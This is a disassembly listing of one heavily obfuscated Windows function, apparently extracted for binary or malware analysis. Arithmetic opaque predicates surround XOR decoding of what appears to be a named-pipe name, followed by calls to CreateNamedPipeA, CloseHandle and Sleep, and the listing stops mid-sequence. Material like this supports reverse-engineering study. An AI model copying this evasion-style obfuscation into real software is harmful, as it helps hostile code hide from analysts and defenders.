Function at 0x100bde70
Capabilities:
Create pipe
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x28
mov eax, dword [0x101835f0]
xor eax, ebp
mov dword [ebp - 8], eax
cmp dword [0x101840ac], 0
jne 0x100be340
mov eax, dword [0x1018226c]
xor edx, edx
div dword [0x10182270]
sub eax, 0x3976acfc
xor eax, 0xe4e2ff32
and eax, 0xdbf82c38
xor eax, 0xa28d85ce
and eax, 0x7d1af191
add eax, 0x996595c1
or eax, 0xa0cebc17
or eax, 0xcebed838
sub eax, 0xd47b5c04
and eax, 0xa6302dff
mov ecx, 0x8104c9ad
xor edx, edx
div ecx
xor eax, 0x5aec9930
add eax, 0xca5a9a96
xor eax, 0x7a0900bd
xor eax, 0x1b4af376
imul eax, eax, 0xed9fe616
or eax, 0x5c2ff205
xor eax, 0xfb3888ee
mov ecx, 0x49eee407
xor edx, edx
div ecx
sub eax, 0x164e23cb
mov ecx, 0xef5a2216
xor edx, edx
div ecx
or eax, 0x996bcd98
and eax, 0x752cba46
or eax, 0x2a4c4030
xor eax, 0x4a80a28
add eax, 0x127e713d
sub eax, 0x1013ddb4
imul eax, eax, 0x395c5a22
xor eax, 0xf8753703
or eax, 0xe1eb9465
mov ecx, 0x9688d674
xor edx, edx
div ecx
mov ecx, 0xb2508eff
xor edx, edx
div ecx
or eax, 0xf3835d45
add eax, 0x1472ea4b
xor eax, 0x5285f68e
add eax, 0x6d302778
sub eax, 0x569462d1
xor eax, 0x378582d5
cmp eax, 0x21830093
jbe 0x100bfa29
mov eax, dword [0x10182274]
add eax, dword [str._Z]
imul eax, eax, 0xa797123e
add eax, 0x648e118c
or eax, 0xbf3f0948
and eax, 0x8c3387c0
sub eax, 0x9d4f906e
sub eax, 0xfd35897f
imul eax, eax, 0x79c77c0
sub eax, 0x6ac041f0
and eax, 0x91caf1f9
and eax, 0x1758659
add eax, 0xd8893bdb
imul eax, eax, 0xa9bd8f89
or eax, 0x519a30ea
add eax, 0x2e181ab8
xor eax, 0xdf00113c
add eax, 0xe159e645
mov ecx, 0xcaecf5ec
xor edx, edx
div ecx
and eax, 0x464e68a6
add eax, 0x8a31d516
mov ecx, 0x1a432c80
xor edx, edx
div ecx
sub eax, 0xc9625854
xor eax, 0x1ed49c8c
imul eax, eax, 0x8104fec1
add eax, 0xe6483725
sub eax, 0x9124b2cd
or eax, 0xdea3cc5a
add eax, 0x4d894f87
imul eax, eax, 0x727b56f8
xor eax, 0x16c0d815
xor eax, 0x8ac2aa4b
add eax, 0xaa52c0d5
add eax, 0xbb335a70
imul eax, eax, 0x96a16fc5
or eax, 0x537b3d90
xor eax, 0xa60b2c77
sub eax, 0xaabaaaae
and eax, 0x222f51db
and eax, 0xabd55bb8
mov cl, byte [0x1017c220]
xor cl, 4
mov byte [str.__gi], cl
mov cl, byte [0x1017c221]
xor cl, 0x36
mov byte [0x1017c242], cl
mov cl, byte [0x1017c222]
xor cl, 0x22
mov byte [0x1017c243], cl
mov cl, byte [0x1017c223]
xor cl, 0x30
mov byte [0x1017c244], cl
mov cl, byte [0x1017c224]
xor cl, 0xbd
mov byte [0x1017c246], cl
mov cl, byte [0x1017c225]
xor cl, 0x77
mov byte [0x1017c247], cl
mov cl, byte [0x1017c226]
xor cl, 0x50
mov byte [0x1017c248], cl
mov cl, byte [0x1017c227]
xor cl, 0x56
mov byte [0x1017c249], cl
mov cl, byte [0x1017c228]
xor cl, 0x31
mov byte [0x1017c24a], cl
mov cl, byte [0x1017c229]
xor cl, 0xb1
mov byte [0x1017c24b], cl
mov cl, byte [0x1017c22a]
xor cl, 0x81
mov byte [0x1017c24c], cl
mov cl, byte [0x1017c22b]
xor cl, 0xf2
mov byte [0x1017c24d], cl
mov cl, byte [0x1017c22c]
xor cl, 0xeb
mov byte [0x1017c24f], cl
mov cl, byte [0x1017c22d]
xor cl, 2
mov byte [0x1017c250], cl
mov cl, byte [0x1017c22e]
xor cl, 0x5e
mov byte [0x1017c251], cl
mov cl, byte [0x1017c22f]
xor cl, 0x47
mov byte [0x1017c253], cl
mov cl, byte [0x1017c230]
xor cl, 0x8f
mov byte [0x1017c254], cl
mov cl, byte [0x1017c231]
xor cl, 0xce
mov byte [0x1017c255], cl
mov cl, byte [0x1017c232]
xor cl, 0xd6
mov byte [0x1017c256], cl
mov cl, byte [0x1017c233]
xor cl, 0x2e
mov byte [0x1017c257], cl
mov cl, byte [0x1017c234]
xor cl, 0xc2
mov byte [0x1017c258], cl
mov cl, byte [0x1017c235]
xor cl, 0x41
mov byte [0x1017c259], cl
mov cl, byte [0x1017c236]
xor cl, 0x67
mov byte [0x1017c25a], cl
mov cl, byte [0x1017c260]
xor cl, 0x52
mov byte [0x1017c280], cl
mov cl, byte [0x1017c261]
xor cl, 0x3c
mov byte [0x1017c281], cl
mov cl, byte [0x1017c262]
xor cl, 0x7c
mov byte [0x1017c283], cl
mov cl, byte [0x1017c263]
xor cl, 0xa9
mov byte [0x1017c284], cl
mov cl, byte [0x1017c264]
xor cl, 0x2a
mov byte [0x1017c285], cl
mov cl, byte [0x1017c265]
xor cl, 0x31
mov byte [0x1017c286], cl
mov cl, byte [0x1017c266]
xor cl, 0xb4
mov byte [0x1017c287], cl
mov cl, byte [0x1017c267]
xor cl, 0x57
mov byte [0x1017c288], cl
mov cl, byte [0x1017c268]
xor cl, 0xcf
mov byte [0x1017c289], cl
mov cl, byte [0x1017c269]
xor cl, 0x7c
mov byte [0x1017c28a], cl
mov cl, byte [0x1017c26a]
xor cl, 0x2f
mov byte [0x1017c28b], cl
mov cl, byte [0x1017c26b]
xor cl, 0x6d
mov byte [0x1017c28c], cl
mov cl, byte [0x1017c26c]
xor cl, 0x69
mov byte [0x1017c28d], cl
mov cl, byte [0x1017c26d]
xor cl, 0x77
mov byte [0x1017c28e], cl
mov cl, byte [0x1017c26e]
xor cl, 0xbb
mov byte [0x1017c28f], cl
mov cl, byte [0x1017c26f]
xor cl, 0x94
mov byte [0x1017c290], cl
mov cl, byte [0x1017c270]
xor cl, 0xe1
mov byte [str.0s4_X2n_], cl
mov cl, byte [0x1017c271]
xor cl, 0x7e
mov byte [0x1017c293], cl
mov cl, byte [0x1017c272]
xor cl, 0xcc
mov byte [0x1017c294], cl
mov cl, byte [0x1017c273]
xor cl, 0x5f
mov byte [0x1017c295], cl
mov cl, byte [0x1017c274]
xor cl, 0xa7
mov byte [0x1017c296], cl
mov cl, byte [0x1017c275]
xor cl, 0x54
mov byte [0x1017c297], cl
mov cl, byte [0x1017c276]
xor cl, 0x1c
mov byte [0x1017c298], cl
mov cl, byte [0x1017c277]
xor cl, 0xab
mov byte [0x1017c299], cl
mov cl, byte [0x1017c278]
xor cl, 0xc6
mov byte [0x1017c29a], cl
mov cl, byte [0x1017c279]
xor cl, 0xab
mov byte [0x1017c29c], cl
cmp eax, 0xd43acc29
je 0x100bfa29
jmp 0x100be340
mov dword [0x101840ac], 1
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
push eax
mov eax, esp
mov dword [ebp - 0x18], eax
push eax
mov eax, esp
mov dword [ebp - 0xc], eax
sub esp, 0x20
mov ecx, esp
mov dword [ebp - 0x14], ecx
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x10], eax
lea eax, [0x1017c280]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1d
call fcn.10129080
mov ecx, dword [ebp - 0x10]
add esp, 0xc
lea eax, str.__gi
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1c
call fcn.10129080
mov eax, dword [ebp - 0x10]
add esp, 0xc
xor ecx, ecx
sub esp, 0x20
mov dword [esp], eax
mov dword [esp + 4], 3
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov ecx, eax
mov eax, dword [ebp - 0xc]
mov dword [eax], ecx
mov eax, dword [eax]
mov ecx, 0xffffffff
cmp eax, ecx
jne 0x100be9dc
mov eax, dword [0x1018227c]
xor edx, edx
div dword [0x10182280]
add eax, 0x69956536
add eax, 0xb4c45dcc
mov ecx, 0xa1a03ba
xor edx, edx
div ecx
and eax, 0x33d43576
imul eax, eax, 0x6f3a0af0
xor eax, 0x35226bb4
mov ecx, 0xc43af89d
xor edx, edx
div ecx
or eax, 0x6cdc0ac2
and eax, 0x8f93882
add eax, 0x6311f739
and eax, 0x806ed9ae
xor eax, 0x56c09bef
or eax, 0xed42fc5c
mov ecx, 0xdba7bb97
xor edx, edx
div ecx
or eax, 0xfe891d6d
or eax, 0x52b95a23
imul eax, eax, 0xb6b49ba0
sub eax, 0xb5e78a1c
mov ecx, 0x3c3db7bb
xor edx, edx
div ecx
or eax, 0x35f79dc
mov ecx, 0x7d24ed44
xor edx, edx
div ecx
mov ecx, 0x1309644d
xor edx, edx
div ecx
or eax, 0x7c61fd70
mov ecx, 0xe6cfdeb3
xor edx, edx
div ecx
add eax, 0x5a42429b
xor eax, 0xdd26c910
imul eax, eax, 0xb6dc66f0
xor eax, 0xbf797854
and eax, 0x178f6bcb
and eax, 0x8c9e7d08
mov ecx, 0x9525899b
xor edx, edx
div ecx
mov ecx, 0x36bb697b
xor edx, edx
div ecx
mov ecx, 0xc2af5df7
xor edx, edx
div ecx
xor eax, 0x7dc158c8
imul eax, eax, 0x24206983
xor eax, 0x30c8faa9
or eax, 0xac1671b8
or eax, 0xd1eb3b4
cmp eax, 0x78ea9ddc
jb 0x100bfc7a
mov eax, dword [0x10182284]
sub eax, dword [0x10182288]
mov ecx, 0x54f05ff9
xor edx, edx
div ecx
mov ecx, 0xa1d7d074
xor edx, edx
div ecx
mov ecx, 0xab38bd10
xor edx, edx
div ecx
mov ecx, 0xb9381f84
xor edx, edx
div ecx
or eax, 0x1780840c
xor eax, 0xe01bfcb8
mov ecx, 0xb70ea14e
xor edx, edx
div ecx
add eax, 0xac07eeea
sub eax, 0x5dd25f09
imul eax, eax, 0x3d218e5c
and eax, 0x9fc1d02e
add eax, 0xeb61827b
mov ecx, 0x95a429d
xor edx, edx
div ecx
xor eax, 0xc1b3262d
or eax, 0xed042efd
imul eax, eax, 0x31598143
xor eax, 0x54254af2
imul eax, eax, 0x4c68f628
or eax, 0xe560fa36
or eax, 0x869314ae
xor eax, 0x9e27ec69
and eax, 0x8b8ea20a
imul eax, eax, 0x870e34d2
or eax, 0x988efaac
or eax, 0x143590a8
add eax, 0x28c121c1
mov ecx, 0xbccdf4ed
xor edx, edx
div ecx
add eax, 0x29339c74
imul eax, eax, 0xe778c080
add eax, 0xcb0c8d3
and eax, 0x550c38af
mov ecx, 0x9d9c1b96
xor edx, edx
div ecx
or eax, 0xc9ed54a1
xor eax, 0xe123ef3d
or eax, 0x2123ee9c
mov ecx, 0x32587401
xor edx, edx
div ecx
add eax, 0xe4ac97fa
or eax, 0x3030acd0
cmp eax, 0xc5a0d06d
jbe 0x100bfc7a
mov eax, dword [0x1018228c]
and eax, dword [0x10182290]
and eax, 0x287b40be
and eax, 0x6dd63fa3
and eax, 0x6b4e80f0
add eax, 0xd922b29c
add eax, 0xac3d2222
xor eax, 0x15ff24ea
sub eax, 0x1bc6ba80
mov ecx, 0xf50b286
xor edx, edx
div ecx
sub eax, 0x1c329c14
sub eax, 0xc3789b68
and eax, 0x2e8fe219
or eax, 0xc60f7fed
imul eax, eax, 0xec3b6efd
mov ecx, 0x29b41ee6
xor edx, edx
div ecx
mov ecx, 0x3901c5c2
xor edx, edx
div ecx
and eax, 0x3bc83905
add eax, 0xf27d0a5d
imul eax, eax, 0xf278d3e8
mov ecx, 0x262d54bb
xor edx, edx
div ecx
imul eax, eax, 0xcd14c306
imul eax, eax, 0xd70ac1c3
and eax, 0x35803a46
imul eax, eax, 0xf4c2ebeb
mov ecx, 0xaf63510c
xor edx, edx
div ecx
add eax, 0x31328d74
xor eax, 0xf3b36255
xor eax, 0x7d938738
mov ecx, 0x4e476dd8
xor edx, edx
div ecx
xor eax, 0xd47b3e16
imul eax, eax, 0x57ef0ee2
and eax, 0x40bc9d59
mov ecx, 0x5260410a
xor edx, edx
div ecx
and eax, 0x34d42750
imul eax, eax, 0x25ee5db0
and eax, 0x7a414517
or eax, 0xe9c80528
imul eax, eax, 0xb55516da
xor eax, 0xb26e91c9
cmp eax, 0xa2c585ba
jb 0x100bf7b1
mov eax, dword [0x10182294]
sub eax, dword [0x10182298]
and eax, 0xa3c70dfb
sub eax, 0x48c8c60
sub eax, 0x7b9d9e8c
xor eax, 0xfa08d502
add eax, 0x9f05b003
mov ecx, 0xe836a4b0
xor edx, edx
div ecx
and eax, 0xd7f5b3f5
or eax, 0xc7f81a5e
add eax, 0xd1c56d28
sub eax, 0x7c37e029
add eax, 0xbdb53575
xor eax, 0xa6b57b0b
sub eax, 0x8133cbcb
add eax, 0xa0d89f80
imul eax, eax, 0xa3d2a62f
mov ecx, 0x4c73d13f
xor edx, edx
div ecx
imul eax, eax, 0x1c0ebe56
sub eax, 0xf53d350b
and eax, 0xb0ee2a6
add eax, 0x6878e016
add eax, 0x7458c1b9
sub eax, 0xf9fb72c3
and eax, 0xac41a7f8
xor eax, 0xcce40adb
mov ecx, 0xbca0c183
xor edx, edx
div ecx
imul eax, eax, 0xb0c56b64
mov ecx, 0xc5a0b763
xor edx, edx
div ecx
and eax, 0xf2707a5c
or eax, 0x236aaef1
mov ecx, 0xdce01d6d
xor edx, edx
div ecx
and eax, 0xe8b62d2f
sub eax, 0x18ea00bf
add eax, 0xb6cf069
and eax, 0x2b72b25f
mov ecx, 0x275b0668
xor edx, edx
div ecx
and eax, 0x45fdc6d0
or eax, 0xbe3bfd40
xor eax, 0xd657bdf0
cmp eax, 0x3a0c00f
je 0x100bfc7f
mov ecx, dword [ebp - 0x1c]
mov eax, dword [0x1018229c]
xor edx, edx
div dword [0x101822a0]
imul eax, eax, 0xbf222d4a
or eax, 0xfe570d19
add eax, 0x4e7c7525
add eax, 0xe0af3b61
xor eax, 0x16dff319
and eax, 0xc500f304
sub eax, 0x35292db1
or eax, 0xafb1cefc
mov esi, 0x1d80bca1
xor edx, edx
div esi
mov esi, 0x76f0a2a4
xor edx, edx
div esi
add eax, 0x243f1493
add eax, 0xbba0c381
xor eax, 0x10fbd195
add eax, 0x743d00fd
mov esi, 0xed3c646b
xor edx, edx
div esi
or eax, 0xfa475a22
or eax, 0x254bfa91
sub eax, 0x81eee4f
sub eax, 0x43a65104
mov esi, 0x7e4818a8
xor edx, edx
div esi
sub eax, 0x7dc550af
add eax, 0x5ab541dd
xor eax, 0x57fa5374
sub eax, 0xf79131da
and eax, 0x7e564d5e
and eax, 0xa46aea5
xor eax, 0xd1d85806
imul eax, eax, 0xe66c1044
imul eax, eax, 0x5393b70d
or eax, 0xfb371bcd
xor eax, 0xc472d7e8
or eax, 0x26bbbf63
and eax, 0x7bfb6209
xor eax, 0x661f8e75
add eax, 0x5783477e
imul eax, eax, 0xb98631e6
xor eax, 0xca91c802
or eax, 0xaa54a329
mov dword [ecx], 1
cmp eax, 0xdfc1029
jbe 0x100be7f4
mov eax, dword [0x101822a4]
xor edx, edx
div dword [0x101822a8]
add eax, 0x946999e2
and eax, 0xcf6013b
and eax, 0x7a40c29a
add eax, 0x65b0224e
add eax, 0x309869e8
add eax, 0xf02b9d78
xor eax, 0x8d75a98d
sub eax, 0xd349d465
add eax, 0xa02dbfe4
mov ecx, 0xcddc1a44
xor edx, edx
div ecx
or eax, 0xa8ac8905
add eax, 0x85994757
xor eax, 0xa288bac7
sub eax, 0xfb63f0de
or eax, 0xf530a259
add eax, 0xb330cfca
xor eax, 0xc28f8680
add eax, 0xa724bb68
and eax, 0xd320e891
xor eax, 0xd67a08fa
xor eax, 0x42355a5c
and eax, 0x75ccb9bb
mov ecx, 0x276a203f
xor edx, edx
div ecx
xor eax, 0xe3775eb4
mov ecx, 0xe3bf7fb
xor edx, edx
div ecx
mov ecx, 0xfe84f799
xor edx, edx
div ecx
mov ecx, 0xbbe995b8
xor edx, edx
div ecx
xor eax, 0x3596b05b
add eax, 0x9eaef15a
and eax, 0x395ac21e
add eax, 0xc6bc366d
imul eax, eax, 0x7dedef51
imul eax, eax, 0x4958edfc
or eax, 0x6f2be6d4
add eax, 0xbdcdbddd
add eax, 0xf778550d
mov ecx, 0x3c5e515f
xor edx, edx
div ecx
add eax, 0x166ac741
cmp eax, 0x63931137
ja 0x100be705
jmp 0x100bf5c3
mov eax, dword [0x101822ac]
xor edx, edx
div dword [0x101822b0]
or eax, 0x8b34371
or eax, 0x7935ad10
mov ecx, 0xcb41dac9
xor edx, edx
div ecx
mov ecx, 0xa7293303
xor edx, edx
div ecx
xor eax, 0xd3437dd
xor eax, 0xe822b807
and eax, 0x8299b73d
add eax, 0xa6f7737d
xor eax, 0x4da771ab
and eax, 0xc7c4c4f4
sub eax, 0x6f0b291a
and eax, 0x3fe8893d
or eax, 0x1794deb9
or eax, 0x7e648e6d
xor eax, 0x11bfa03
mov ecx, 0x1e4fc23e
xor edx, edx
div ecx
sub eax, 0xfc0e7b60
imul eax, eax, 0xc851e248
mov ecx, 0x3a594af7
xor edx, edx
div ecx
or eax, 0xdd8e66ab
and eax, 0x213e2493
sub eax, 0xbcbe0334
mov ecx, 0x5bf0967e
xor edx, edx
div ecx
add eax, 0xa53afa8
sub eax, 0xc9edff1b
add eax, 0xc1bc8f12
or eax, 0xd962d54a
or eax, 0xd9572f63
sub eax, 0xfb90cd80
add eax, 0xba32e5c6
mov ecx, 0xc96c147b
xor edx, edx
div ecx
imul eax, eax, 0xe64ec2bc
xor eax, 0x1930941e
imul eax, eax, 0x5b4efc61
xor eax, 0x2647e626
mov ecx, 0x4e77821c
xor edx, edx
div ecx
sub eax, 0xfd176a5f
and eax, 0xbf2635d3
cmp eax, 0xbe1f8c1e
ja 0x100bfc8d
mov eax, dword [0x101822b4]
sub eax, dword [0x101822b8]
mov ecx, 0x77019ff3
xor edx, edx
div ecx
and eax, 0x2bda7599
imul eax, eax, 0x26fd535
xor eax, 0x5b86e720
add eax, 0xbf1d8d35
mov ecx, 0x935d9244
xor edx, edx
div ecx
imul eax, eax, 0xf9a7f855
xor eax, 0x796066de
imul eax, eax, 0xacf05d21
add eax, 0x19a6f233
mov ecx, 0x2263ae07
xor edx, edx
div ecx
and eax, 0xc5d21108
imul eax, eax, 0x9074cc30
and eax, 0x748d2783
imul eax, eax, 0x320f270b
or eax, 0x114fab89
add eax, 0x4c9542a8
xor eax, 0x1746b04f
imul eax, eax, 0x9c5ba389
sub eax, 0x52c3be15
and eax, 0x5d9b98d3
xor eax, 0xcd921f7b
and eax, 0xb8a84b2b
add eax, 0x60215130
mov ecx, 0xd8f1d3db
xor edx, edx
div ecx
or eax, 0x6793d54f
imul eax, eax, 0xeb7b18ad
add eax, 0xcea8a3bf
sub eax, 0x44ea118d
add eax, 0xa7d29e20
sub eax, 0xe8a325fe
add eax, 0x9f5602ad
and eax, 0x91ab25eb
or eax, 0x34b3c8c9
or eax, 0x7ec76a14
add eax, 0x45681e58
sub eax, 0x143853
sub eax, 0xeeeff986
cmp eax, 0x8adf3e15
je 0x100bead1
mov eax, dword [0x101822bc]
add eax, dword [0x101822c0]
mov ecx, 0x99eceea3
xor edx, edx
div ecx
imul eax, eax, 0x8bf4ef8c
xor eax, 0x51b22c3
or eax, 0xeeab8263
and eax, 0x7e6dc75d
or eax, 0xe2d7fe7e
add eax, 0x73501ca2
xor eax, 0x8dc3a20
and eax, 0xf7ac8f31
or eax, 0xa43103d0
add eax, 0x2a557731
add eax, 0x56dc1c5e
or eax, 0x63a76799
mov ecx, 0xc4601461
xor edx, edx
div ecx
add eax, 0x983e8729
mov ecx, 0x58c459a3
xor edx, edx
div ecx
xor eax, 0x2acc7c24
add eax, 0xd3abb16e
mov ecx, 0x96fec086
xor edx, edx
div ecx
add eax, 0xe190c081
xor eax, 0x67369beb
xor eax, 0x9919fbcd
xor eax, 0xa16bd49c
sub eax, 0x69036983
or eax, 0x646e6980
xor eax, 0x58a9275a
mov ecx, 0xd00f6e9
xor edx, edx
div ecx
or eax, 0xf6abe390
xor eax, 0x8cb02067
or eax, 0xd1fde7b5
add eax, 0x92a3cb77
xor eax, 0xa7b1a82e
add eax, 0x56dcab1e
or eax, 0x4ecd433a
sub eax, 0x6c21ec3f
xor eax, 0x82b28dbd
mov ecx, 0x306e4e36
xor edx, edx
div ecx
xor eax, 0x33482af4
cmp eax, 0xfe236308
je 0x100bf7bf
mov eax, dword [0x101822c4]
imul eax, dword [0x101822c8]
or eax, 0xe01a5c59
imul eax, eax, 0x951840ca
sub eax, 0xb937dda0
mov ecx, 0x352a7cbd
xor edx, edx
div ecx
sub eax, 0x1bde5811
mov ecx, 0x2ed20746
xor edx, edx
div ecx
and eax, 0x3533f230
xor eax, 0x40fdd507
imul eax, eax, 0x95ec1c52
mov ecx, 0xeb83e48d
xor edx, edx
div ecx
and eax, 0x4ca08a34
and eax, 0x9b6c67b5
mov ecx, 0xbb68de0
xor edx, edx
div ecx
and eax, 0xded93b3f
and eax, 0x39697cb3
or eax, 0x63fb6d61
add eax, 0xce6cc4b2
sub eax, 0x311d8ccc
sub eax, 0xff53e5b7
imul eax, eax, 0x130beee5
or eax, 0x85101f8e
or eax, 0xd068d0a1
sub eax, 0x3c85ac78
add eax, 0x207b0a2c
sub eax, 0x99b3a612
add eax, 0xce34ca3b
and eax, 0x106e012d
xor eax, 0x88b30cfe
sub eax, 0x50f95306
mov ecx, 0xc445ef6d
xor edx, edx
div ecx
add eax, 0xd5f28860
imul eax, eax, 0x43df03bd
or eax, 0x53b5f002
mov ecx, 0x64236fbc
xor edx, edx
div ecx
add eax, 0x152d4de8
mov ecx, 0x4c759aef
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0xc]
or ecx, 0xdcb1692d
xor ecx, 0xad4d0af
mov dword [ebp - 0x24], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [esp], 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x14]
xor ecx, ecx
sub esp, 0x20
mov dword [esp], eax
mov dword [esp + 4], 3
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov ecx, dword [ebp - 0x18]
mov edx, eax
mov eax, dword [ebp - 0x24]
mov dword [ecx], edx
mov ecx, dword [ecx]
mov edx, 0xffffffff
cmp ecx, edx
setne cl
mov byte [ebp - 0x1d], cl
cmp eax, 0x7faf44dc
jbe 0x100beca9
mov eax, dword [0x101822cc]
add eax, dword [0x101822d0]
or eax, 0x3f7803d6
mov ecx, 0x98f21ae6
xor edx, edx
div ecx
and eax, 0x6a750463
imul eax, eax, 0xf9d4b28d
or eax, 0xadf41da2
add eax, 0xa9aefa71
mov ecx, 0x352dec6d
xor edx, edx
div ecx
add eax, 0xf20b82f9
or eax, 0x294421a2
mov ecx, 0x2a120480
xor edx, edx
div ecx
xor eax, 0xdd060095
sub eax, 0xf592b63
mov ecx, 0xe2d3d3fd
xor edx, edx
div ecx
xor eax, 0xf74c1b4a
xor eax, 0xcb1df2f2
imul eax, eax, 0x892d7432
mov ecx, 0x6ea973c0
xor edx, edx
div ecx
mov ecx, 0x888a976
xor edx, edx
div ecx
or eax, 0x43db5a8f
imul eax, eax, 0xc629f139
add eax, 0x60652f98
and eax, 0x153723ad
sub eax, 0xd1a0eca
imul eax, eax, 0xd67ee38a
imul eax, eax, 0x6ff76ce7
and eax, 0x7ac5167a
mov ecx, 0x8895853b
xor edx, edx
div ecx
and eax, 0xa654e8e7
imul eax, eax, 0x95654138
or eax, 0xdf51eb88
sub eax, 0xe032afa4
sub eax, 0xcf000869
or eax, 0x1606d05d
imul eax, eax, 0x175c1281
imul eax, eax, 0x12243c35
mov ecx, 0xa753043d
xor edx, edx
div ecx
imul eax, eax, 0x108d1dbc
sub eax, 0xbb4e2b21
cmp eax, 0x7cabceca
je 0x100bfc92
mov eax, dword [0x101822d4]
imul eax, dword [0x101822d8]
or eax, 0xdf0d8c3c
sub eax, 0x12271de5
sub eax, 0xc29b7fcf
add eax, 0xec0d4c31
mov ecx, 0x2543b38e
xor edx, edx
div ecx
mov ecx, 0x9271ff50
xor edx, edx
div ecx
and eax, 0x53f69b66
xor eax, 0xf994d184
imul eax, eax, 0x3f391a32
mov ecx, 0xe1e337af
xor edx, edx
div ecx
or eax, 0xe8e351
and eax, 0xc2667473
imul eax, eax, 0x11e941cf
mov ecx, 0xde5a918d
xor edx, edx
div ecx
sub eax, 0x61b28dfd
xor eax, 0x5aeef4a7
sub eax, 0xcf279720
sub eax, 0x845d48c4
xor eax, 0x415b6c34
imul eax, eax, 0xfc2431c7
or eax, 0x7020feb9
mov ecx, 0x3bf6c089
xor edx, edx
div ecx
sub eax, 0xdb19dc79
xor eax, 0x394dc1b9
sub eax, 0xa65efb1a
mov ecx, 0x71d8be12
xor edx, edx
div ecx
add eax, 0xd315e100
add eax, 0x54550e58
add eax, 0x2b3e11ce
sub eax, 0x10a25f0
and eax, 0xd33f3578
mov ecx, 0xb1a6d38
xor edx, edx
div ecx
imul eax, eax, 0xd05d0e5
and eax, 0xf10e4a89
and eax, 0x6c87b8d7
xor eax, 0x495f9163
mov ecx, 0xa8fa1ea7
xor edx, edx
div ecx
add eax, 0xc956c619
cmp eax, 0xefb8f91
jb 0x100bfc92
mov al, byte [ebp - 0x1d]
test al, 1
jne 0x100bf02e
jmp 0x100bf5ba
mov eax, dword [0x101822dc]
sub eax, dword [0x101822e0]
and eax, 0x56b1484b
or eax, 0xfe63e8a3
sub eax, 0xd2420580
imul eax, eax, 0x13d9a051
imul eax, eax, 0x3573ddf
sub eax, 0x35350977
and eax, 0x32c2f5e2
add eax, 0x2b71b6a5
add eax, 0xd3aad477
imul eax, eax, 0xe2e0118d
and eax, 0x595ac25
xor eax, 0x97f8463c
and eax, 0x62e68ca4
imul eax, eax, 0xab6bfaad
imul eax, eax, 0xf21697a
xor eax, 0x6e8a994f
xor eax, 0x68a9706d
add eax, 0x4cda786e
sub eax, 0xdff02435
sub eax, 0xc0319a7f
or eax, 0x8868cfe7
add eax, 0x3d644f1c
and eax, 0x9075745f
sub eax, 0x4c65883c
sub eax, 0x8778b197
imul eax, eax, 0x3f1edb67
mov ecx, 0x4e6f46e1
xor edx, edx
div ecx
mov ecx, 0xf2d8c9ae
xor edx, edx
div ecx
xor eax, 0xb850b50
or eax, 0xe8b14639
or eax, 0xafb66e82
xor eax, 0x759c7c73
and eax, 0x3088f72e
xor eax, 0xaba321d6
or eax, 0x430d29ce
add eax, 0xf70a8e88
sub eax, 0x9931af74
imul eax, eax, 0x6e6b7b2
cmp eax, 0x31329f40
je 0x100bfa1b
mov eax, dword [0x101822e4]
sub eax, dword [0x101822e8]
add eax, 0x1d0999e8
add eax, 0xd533edd8
imul eax, eax, 0x8530636f
sub eax, 0x7ae7f55f
xor eax, 0xab4ae1a1
xor eax, 0x6cdc1dde
sub eax, 0x5d998dba
and eax, 0x198a17af
add eax, 0x339992bf
xor eax, 0x6b4b559b
imul eax, eax, 0x67bae1d5
sub eax, 0x8bf23fb6
sub eax, 0x9a82497
sub eax, 0xd93d5a03
or eax, 0x93f5c8e9
mov ecx, 0x35453c20
xor edx, edx
div ecx
add eax, 0xdf9cdf2b
or eax, 0xc74fcf3d
sub eax, 0x4d87f591
and eax, 0x3c3bdc38
sub eax, 0x408f5ca8
add eax, 0x3c5b7a70
and eax, 0x8e16ef8c
mov ecx, 0x2fc9666
xor edx, edx
div ecx
add eax, 0x566192a4
or eax, 0x1abed0db
and eax, 0xf8ded4b8
add eax, 0x4cd0cafc
add eax, 0xfd3343df
sub eax, 0xfe934f66
xor eax, 0xf6e0a305
add eax, 0xb54b6c38
and eax, 0xd68fe83d
xor eax, 0xa7bee682
add eax, 0x22f6349b
and eax, 0xf23a379a
sub eax, 0x445bbf02
xor eax, 0xe23f34f4
cmp eax, 0x5d4ad51d
jbe 0x100bfc97
mov ecx, dword [ebp - 0x1c]
mov eax, dword [0x101822ec]
xor edx, edx
div dword [0x101822f0]
add eax, 0x29fdff44
sub eax, 0xb0b33318
mov esi, 0x50177c34
xor edx, edx
div esi
add eax, 0x7f421d00
imul eax, eax, 0x7f238db8
and eax, 0xbd15c0d2
mov esi, 0xfe4e087f
xor edx, edx
div esi
add eax, 0xc04e1746
or eax, 0xe8fba183
and eax, 0xe67bdaa4
and eax, 0x973ba90a
or eax, 0xdfb81eb4
xor eax, 0x618f8f1b
imul eax, eax, 0xdc1530a9
imul eax, eax, 0xb286429e
add eax, 0x27b477d2
and eax, 0x9b8e4f5c
xor eax, 0xfeb6d67
imul eax, eax, 0xfed4098d
imul eax, eax, 0x5b4ff9be
mov esi, 0x199ba75d
xor edx, edx
div esi
mov esi, 0xd1c7657a
xor edx, edx
div esi
xor eax, 0x22cf30eb
imul eax, eax, 0x59364b73
mov esi, 0x159797a8
xor edx, edx
div esi
imul eax, eax, 0x99265a1
add eax, 0xe49768f3
add eax, 0x5270bf63
xor eax, 0x600ba8b9
xor eax, 0xa712e9b6
imul eax, eax, 0xecfcddcf
mov esi, 0x12a94a0a
xor edx, edx
div esi
and eax, 0x27d7743b
add eax, 0x1526bd75
xor eax, 0xd23ab63a
or eax, 0x832c92c5
